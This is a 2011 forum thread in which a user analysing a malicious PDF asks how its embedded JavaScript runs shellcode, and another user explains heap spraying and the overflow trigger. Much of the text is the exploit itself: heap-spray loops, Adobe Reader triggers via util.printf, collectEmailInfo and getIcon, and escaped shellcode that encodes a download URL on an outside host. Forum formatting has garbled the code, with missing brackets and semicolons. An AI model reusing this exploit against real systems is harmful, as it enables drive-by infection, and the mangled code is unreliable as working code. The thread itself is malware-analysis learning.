Log in

View Full Version : How is this JS shellcode getting executed?

Sunk
August 4th, 2011, 19:28
I got the below malicious JS from the very first malicious PDF I've analyzed. However, I have no clue how the shellcode is getting executed in any of these overflows. For example, the collab_email function seems to prepare shellcode then just runs

Code:
this.collabStore=Collab.collectEmailInfo({subj:"",msgverflow})


"overflow" has nothing to do with the shellcode. I can't write any JS, just read it but that apparently not well enough.

Code:


function util_printf(){

	var payload=unescape("...shellcode...7FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u642F%u6D 6F%u3078%u632E%u2F6E%u7261%u6E65%u5F64%u3331%u6C2F%u616F%u2E64%u6870%u3F70%u7073%u3D6C%u6470%u5F66%u 7270%u6E69%u6674"

	var nop=unescape("%u0A0A%u0A0A%u0A0A%u0A0A"

	var heapblock=nop+payload

	var bigblock=unescape("%u0A0A%u0A0A"

	var headersize=20

	var spray=headersize+heapblock.length

	while(bigblock.length<spray) {

		bigblock+=bigblock

	}

	var fillblock=bigblock.substring(0,spray)

	var block=bigblock.substring(0,bigblock.length-spray)

	while(block.length+spray<0x40000) {

		block=block+block+fillblock

	}

	var mem_array=new Array()

	for(var i=0 i<1400 i++) {

		mem_array[I]=block+heapblock

	} 



	var num=129999999999999999998888888888888888888888888888888888888888888888888888888888888888888888888888 8888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888 8888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888

	util.printf("%45000f",num)

}



function collab_email() {

	var shellcode=unescape("...shellcode...uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u 6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A %uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u64 2F%u6D6F%u3078%u632E%u2F6E%u7261%u6E65%u5F64%u3331%u6C2F%u616F%u2E64%u6870%u3F70%u7073%u3D6C%u6470%u 5F66%u6D65%u6961%u006C"

	var mem_array=new Array()

	var cc=0x0c0c0c0c

	var addr=0x400000

	var sc_len=shellcode.length*2

	var len=addr-(sc_len+0x38)

	var yarsp=unescape("%u9090%u9090"

	yarsp=fix_it(yarsp,len)

	var count2=(cc-0x400000)/addr

	for(var count=0 count<count2 count++) {

		mem_array[count]=yarsp+shellcode

	}

	var overflow=unescape("%u0c0c%u0c0c"

	while(overflow.length<44952){

		overflow+=overflow

	}

	this.collabStore=Collab.collectEmailInfo({subj:"",msgverflow})

}



function collab_geticon() {

	if(app.doc.Collab.getIcon) {

		var arry=new Array()

		var vvpethya=unescape("...shellcode...6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC28 3%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uF F60%u0455%u7468%u7074%u2F3A%u642F%u6D6F%u3078%u632E%u2F6E%u7261%u6E65%u5F64%u3331%u6C2F%u616F%u2E64% u6870%u3F70%u7073%u3D6C%u6470%u5F66%u6567%u4974%u6F63%u006E"

		var hWq500CN=vvpethya.length*2

		var len=0x400000-(hWq500CN+0x38)

		var yarsp=unescape("%u9090%u9090"

		yarsp=fix_it(yarsp,len)

		var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000

		for(var vqcQD96y=0 vqcQD96y<p5AjK65f vqcQD96y++) {

			arry[vqcQD96y]=yarsp+vvpethya

		}

	var tUMhNbGw=unescape("%09"

	while(tUMhNbGw.length<0x4000) {

		tUMhNbGw+=tUMhNbGw

	}

	tUMhNbGw="N."+tUMhNbGw

	app.doc.Collab.getIcon(tUMhNbGw)

	}

}
Maximus
August 7th, 2011, 15:58
hmmm...

give a look to Metasploit's Geticon vulnerability, there you can find how it has been built.
Sunk
August 7th, 2011, 16:32
What do you mean? I see the same exploit just written in Ruby. It's basically...

Code:




<do a bunch of shellcode stuff>

...

for (#{rand11}=0;#{rand11}<1450;#{rand11}++) #{rand10}[#{rand11}] = #{rand9} + #{rand4};



<then the below is completely unrelated to the previous shellcode work done above, so how does the shellcode get executed?>



var #{rand12} = unescape("%0a";



while(#{rand12}.length < 0x4000) #{rand12}+=#{rand12};

#{rand12} = "N."+#{rand12};

Collab.getIcon(#{rand12});


I don't understand how it can go from do a bunch of shellcode stuff to using a new variable "rand12", which has nothing to do with the shellcode that was prepared earlier.
Maximus
August 7th, 2011, 16:59
...interesting.
That PDF uses all three attack vectors (mail,printf,geticon). Is it part of a very targeted SE attack? It seems to have been patched up manually for this attack.

The technique used in geticon is http://en.wikipedia.org/wiki/Heap_spraying - heck your JS code and see where the exploit code is placed at (it is triggered via a BOF that jumps more or less there - that's why you dont see the classic shellcode).
Sunk
August 8th, 2011, 06:54
Hey Maximus, I downloaded this and other malicious PDFs from offensive security and I think this one might be from some kind of exploit pack you can purchase in the underground. Not sure though.

For the BoF, I thought the goal was to overwrite the EIP to point to your shellcode. However, how are any of these exploits pointing to the shellcode? The BoF seems completely unrelated to the shellcode that each of those functions prepares.
Maximus
August 8th, 2011, 07:56
I've pointed you to a wiki article that explain it very clearly, and you have a clean code to understand, if you did just try to rename some function's variables.

(re-??)read the wiki:
* the JS heap spray allocates MANY blocks on the heap, making them all of sled code (usually nops) and appending the shellcode at its end.
* when it crashes via BOF, it jumps to a fixed address in heap. supposed we filled most of them with our allocated blocks, it then becomes more and more likely that at SUCH FIXED HEAP ADDRESS we can find one of our allocated and filled blocks, each containing most of nops+shellcode at end.
* BOF triggers, control is transferred to a fixed address in our heap, and exploit runs if we filled enough heap with nopped blocks+shellcode at end (as we have high chances to land over a nop sled that leads to our shellcode)..

Code:


function collab_geticon() {

	if(app.doc.Collab.getIcon) {

                -->spray the heap <--

		var blocksarray=new Array()

		var shellcode=unescape("...shellcode..."

		var shellsize=shellcode.length*2

		var blocklen=0x400000-(shellsize+0x38)

		var sled=unescape(nops)

		sled_area=fix_it(sled_area,len)

		var blocks_to_allocate=(0x0c0c0c0c-0x400000)/0x400000

		for(var I=0 I<blocks_to_allocate I++) {

			blocksarray[I]=sled_area+shellcode

                -->huge area of the heap (~200mb filled with the 'wanted' block')<--

		}
Sunk
August 8th, 2011, 08:27
I read the wiki twice now and didn't learn anything new from it. From the wiki "Execution flow can be redirected to the heap sprays via buffer overflow or heap overflow flaws." It doesn't explain that part, which is my question. I was expecting, as you said the "fixed address in heap" that will be jumped to, would be specified at the end of the overflow, but I guess it just corrupts memory and hopes that the EIP (whatever it may be) then points to one of the NOP sleds?

Code:


...

var num=129999999999999999998888888888888888888888888888888888888888888888888888888888888888888888888888 8888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888 8888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888



util.printf("%45000f",num)
Maximus
August 8th, 2011, 09:25
...if you did rename the remaining part of the JS:
Code:


       var BOF=unescape("%09"

	while(BOF.length<0x4000) {

		BOF+=BOF

	}

	BOF="N."+BOF

	app.doc.Collab.getIcon(BOF)

...guess on WHERE in the heap the BOF will jump to from that stack overflow: (0x09090909...0x09090909). There, your JS spraied block will (hopefully) await.

...if you want to see the code in olly, it gets a bit trickier, since your stack gets overwritten. You could i.e. try to find the exact needed size in order to get the exploit (divide et impera) and then you'd breakpoint just before it crashes and analyze the stack, to recover the path that brought you there. Other ways are possible tho.
Sunk
August 8th, 2011, 09:46
I see, now it's making more sense. I was thinking those characters were just garbage like the typical string of "A"'s I've seen when someone uses to exploit BoF's. Thanks for putting up with me!